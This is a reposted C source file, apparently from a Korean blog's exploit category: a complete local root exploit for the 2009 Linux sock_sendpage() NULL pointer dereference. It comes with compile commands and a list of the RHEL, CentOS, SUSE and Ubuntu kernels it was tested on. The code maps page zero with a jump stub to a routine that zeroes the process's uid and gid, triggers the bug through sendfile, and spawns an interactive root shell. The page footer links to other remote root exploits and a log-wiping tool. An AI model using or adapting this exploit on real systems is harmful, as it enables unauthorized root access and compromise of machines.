|
* Linux sock_sendpage() NULL pointer dereference |
* Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org> |
* |
* This program is free software; you can redistribute it and/or modify |
* it under the terms of the GNU General Public License as published by |
* the Free Software Foundation; either version 2 of the License, or |
* (at your option) any later version. |
* |
* This program is distributed in the hope that it will be useful, |
* but WITHOUT ANY WARRANTY; without even the implied warranty of |
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
* GNU General Public License for more details. |
* |
* You should have received a copy of the GNU General Public License |
* along with this program; if not, write to the Free Software |
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA |
* |
*/ |
/* |
* This exploit was written to illustrate the exploitability of this |
* vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc |
* and ppc64. |
* |
* This exploit makes use of the SELinux and the mmap_min_addr problem to |
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3. |
* The problem, first noticed by Brad Spengler, was described by Red Hat in |
* Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and |
* the mmap_min_addr protection[2]. |
* |
* Support for i386 and x86_64 was added for completeness. For a more complete |
* implementation, refer to Brad Spengler's exploit[3], which also implements |
* the personality trick[4] published by Tavis Ormandy and Julien Tinnes. |
* |
* Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4 |
* are vulnerable. |
* |
* This exploit was tested on: |
* |
* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable |
* CentOS 5.3 (2.6.18-128.4.1.el5) |
* CentOS 5.3 (2.6.18-128.2.1.el5) |
* CentOS 5.3 (2.6.18-128.1.16.el5) |
* CentOS 5.3 (2.6.18-128.1.14.el5) |
* CentOS 5.3 (2.6.18-128.1.10.el5) |
* CentOS 5.3 (2.6.18-128.1.6.el5) |
* CentOS 5.3 (2.6.18-128.1.1.el5) |
* CentOS 5.3 (2.6.18-128.el5) |
* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable |
* CentOS 4.8 (2.6.9-89.0.7.EL) |
* CentOS 4.8 (2.6.9-89.0.3.EL) |
* CentOS 4.8 (2.6.9-89.EL) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5) |
* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5) |
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable |
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL) |
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL) |
* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL) |
* SUSE Linux Enterprise Server 11 (2.6.27.19-5) |
* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21) |
* Ubuntu 8.10 (2.6.27-14) is not vulnerable |
* Ubuntu 8.10 (2.6.27-11) |
* Ubuntu 8.10 (2.6.27-9) |
* Ubuntu 8.10 (2.6.27-7) |
* |
* For i386 and ppc, compile with the following command: |
* gcc -Wall -o linux-sendpage linux-sendpage.c |
* |
* And for x86_64 and ppc64: |
* gcc -Wall -m64 -o linux-sendpage linux-sendpage.c |
* |
* [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html |
* [2] http://kbase.redhat.com/faq/docs/DOC-18042 |
* [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz |
* [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html |
*/ |
#include <stdio.h> |
#include <stdlib.h> |
#include <string.h> |
#include <sys/mman.h> |
#include <sys/sendfile.h> |
#include <sys/types.h> |
#include <sys/socket.h> |
#include <unistd.h> |
#if !defined(__always_inline) |
#define __always_inline inline __attribute__((always_inline)) |
#endif |
#if defined(__i386__) || defined(__x86_64__) |
#if defined(__LP64__) |
static __always_inline unsigned long |
current_stack_pointer( void ) |
{ |
unsigned long sp; |
asm volatile ( "movq %%rsp,%0; " : "=r" (sp)); |
return sp; |
} |
#else |
static __always_inline unsigned long |
current_stack_pointer( void ) |
{ |
unsigned long sp; |
asm volatile ( "movl %%esp,%0" : "=r" (sp)); |
return sp; |
} |
#endif |
#elif defined(__powerpc__) || defined(__powerpc64__) |
static __always_inline unsigned long |
current_stack_pointer( void ) |
{ |
unsigned long sp; |
asm volatile ( "mr %0,%%r1; " : "=r" (sp)); |
return sp; |
} |
#endif |
#if defined(__i386__) || defined(__x86_64__) |
#if defined(__LP64__) |
static __always_inline unsigned long |
current_task_struct( void ) |
{ |
unsigned long task_struct; |
asm volatile ( "movq %%gs:(0),%0; " : "=r" (task_struct)); |
return task_struct; |
} |
#else |
#define TASK_RUNNING 0 |
static __always_inline unsigned long |
current_task_struct( void ) |
{ |
unsigned long task_struct, thread_info; |
thread_info = current_stack_pointer() & ~(4096 - 1); |
if (*(unsigned long *)thread_info >= 0xc0000000) { |
task_struct = *(unsigned long *)thread_info; |
/* |
* The TASK_RUNNING is the only possible state for a process executing |
* in user-space. |
*/ |
if (*(unsigned long *)task_struct == TASK_RUNNING) |
return task_struct; |
} |
/* |
* Prior to the 2.6 kernel series, the task_struct was stored at the end |
* of the kernel stack. |
*/ |
task_struct = current_stack_pointer() & ~(8192 - 1); |
if (*(unsigned long *)task_struct == TASK_RUNNING) |
return task_struct; |
thread_info = task_struct; |
task_struct = *(unsigned long *)thread_info; |
if (*(unsigned long *)task_struct == TASK_RUNNING) |
return task_struct; |
return -1; |
} |
#endif |
#elif defined(__powerpc__) || defined(__powerpc64__) |
#define TASK_RUNNING 0 |
static __always_inline unsigned long |
current_task_struct( void ) |
{ |
unsigned long task_struct, thread_info; |
#if defined(__LP64__) |
task_struct = current_stack_pointer() & ~(16384 - 1); |
#else |
task_struct = current_stack_pointer() & ~(8192 - 1); |
#endif |
if (*(unsigned long *)task_struct == TASK_RUNNING) |
return task_struct; |
thread_info = task_struct; |
task_struct = *(unsigned long *)thread_info; |
if (*(unsigned long *)task_struct == TASK_RUNNING) |
return task_struct; |
return -1; |
} |
#endif |
#if defined(__i386__) || defined(__x86_64__) |
static unsigned long uid, gid; |
static int |
change_cred( void ) |
{ |
unsigned int *task_struct; |
task_struct = (unsigned int *)current_task_struct(); |
while (task_struct) { |
if (task_struct[0] == uid && task_struct[1] == uid && |
task_struct[2] == uid && task_struct[3] == uid && |
task_struct[4] == gid && task_struct[5] == gid && |
task_struct[6] == gid && task_struct[7] == gid) { |
task_struct[0] = task_struct[1] = |
task_struct[2] = task_struct[3] = |
task_struct[4] = task_struct[5] = |
task_struct[6] = task_struct[7] = 0; |
break ; |
} |
task_struct++; |
} |
return -1; |
} |
#elif defined(__powerpc__) || defined(__powerpc64__) |
static int |
change_cred( void ) |
{ |
unsigned int *task_struct; |
task_struct = (unsigned int *)current_task_struct(); |
while (task_struct) { |
if (!task_struct[0]) { |
task_struct++; |
continue ; |
} |
if (task_struct[0] == task_struct[1] && |
task_struct[0] == task_struct[2] && |
task_struct[0] == task_struct[3] && |
task_struct[4] == task_struct[5] && |
task_struct[4] == task_struct[6] && |
task_struct[4] == task_struct[7]) { |
task_struct[0] = task_struct[1] = |
task_struct[2] = task_struct[3] = |
task_struct[4] = task_struct[5] = |
task_struct[6] = task_struct[7] = 0; |
break ; |
} |
task_struct++; |
} |
return -1; |
} |
#endif |
#define PAGE_SIZE getpagesize() |
int |
main( void ) |
{ |
char *addr; |
int out_fd, in_fd; |
char template [] = "/tmp/tmp.XXXXXX" ; |
#if defined(__i386__) || defined(__x86_64__) |
uid = getuid(), gid = getgid(); |
#endif |
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED| |
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { |
perror ( "mmap" ); |
exit (EXIT_FAILURE); |
} |
#if defined(__i386__) || defined(__x86_64__) |
#if defined(__LP64__) |
addr[0] = '\xff' ; |
addr[1] = '\x24' ; |
addr[2] = '\x25' ; |
*(unsigned long *)&addr[3] = 8; |
*(unsigned long *)&addr[8] = (unsigned long )change_cred; |
#else |
addr[0] = '\xff' ; |
addr[1] = '\x25' ; |
*(unsigned long *)&addr[2] = 8; |
*(unsigned long *)&addr[8] = (unsigned long )change_cred; |
#endif |
#elif defined(__powerpc__) || defined(__powerpc64__) |
#if defined(__LP64__) |
/* |
* The use of function descriptors by the Power 64-bit ELF ABI requires |
* the use of a fake function descriptor. |
*/ |
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred; |
#else |
addr[0] = '\x3f' ; |
addr[1] = '\xe0' ; |
*(unsigned short *)&addr[2] = (unsigned short )change_cred>>16; |
addr[4] = '\x63' ; |
addr[5] = '\xff' ; |
*(unsigned short *)&addr[6] = (unsigned short )change_cred; |
addr[8] = '\x7f' ; |
addr[9] = '\xe9' ; |
addr[10] = '\x03' ; |
addr[11] = '\xa6' ; |
addr[12] = '\x4e' ; |
addr[13] = '\x80' ; |
addr[14] = '\x04' ; |
addr[15] = '\x20' ; |
#endif |
#endif |
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) { |
perror ( "socket" ); |
exit (EXIT_FAILURE); |
} |
if ((in_fd = mkstemp( template )) == -1) { |
perror ( "mkstemp" ); |
exit (EXIT_FAILURE); |
} |
if (unlink( template ) == -1) { |
perror ( "unlink" ); |
exit (EXIT_FAILURE); |
} |
if (ftruncate(in_fd, PAGE_SIZE) == -1) { |
perror ( "ftruncate" ); |
exit (EXIT_FAILURE); |
} |
sendfile(out_fd, in_fd, NULL, PAGE_SIZE); |
execl( "/bin/sh" , "sh" , "-i" , NULL); |
exit (EXIT_SUCCESS); |
} |
'Exploit-db' 카테고리의 다른 글
Apache OpenSSL heap overflow exploit (0) | 2013.02.15 |
---|---|
Zap3.c 로그지우는 프로그램 (0) | 2012.12.20 |
BSB telnetd Remote Root pwnerable exploit (0) | 2012.07.02 |
tcpdump 3.6.3 remote root exploit in Free BSD (0) | 2012.05.11 |
samba-2.2.8 < remote root exploit (0) | 2012.05.11 |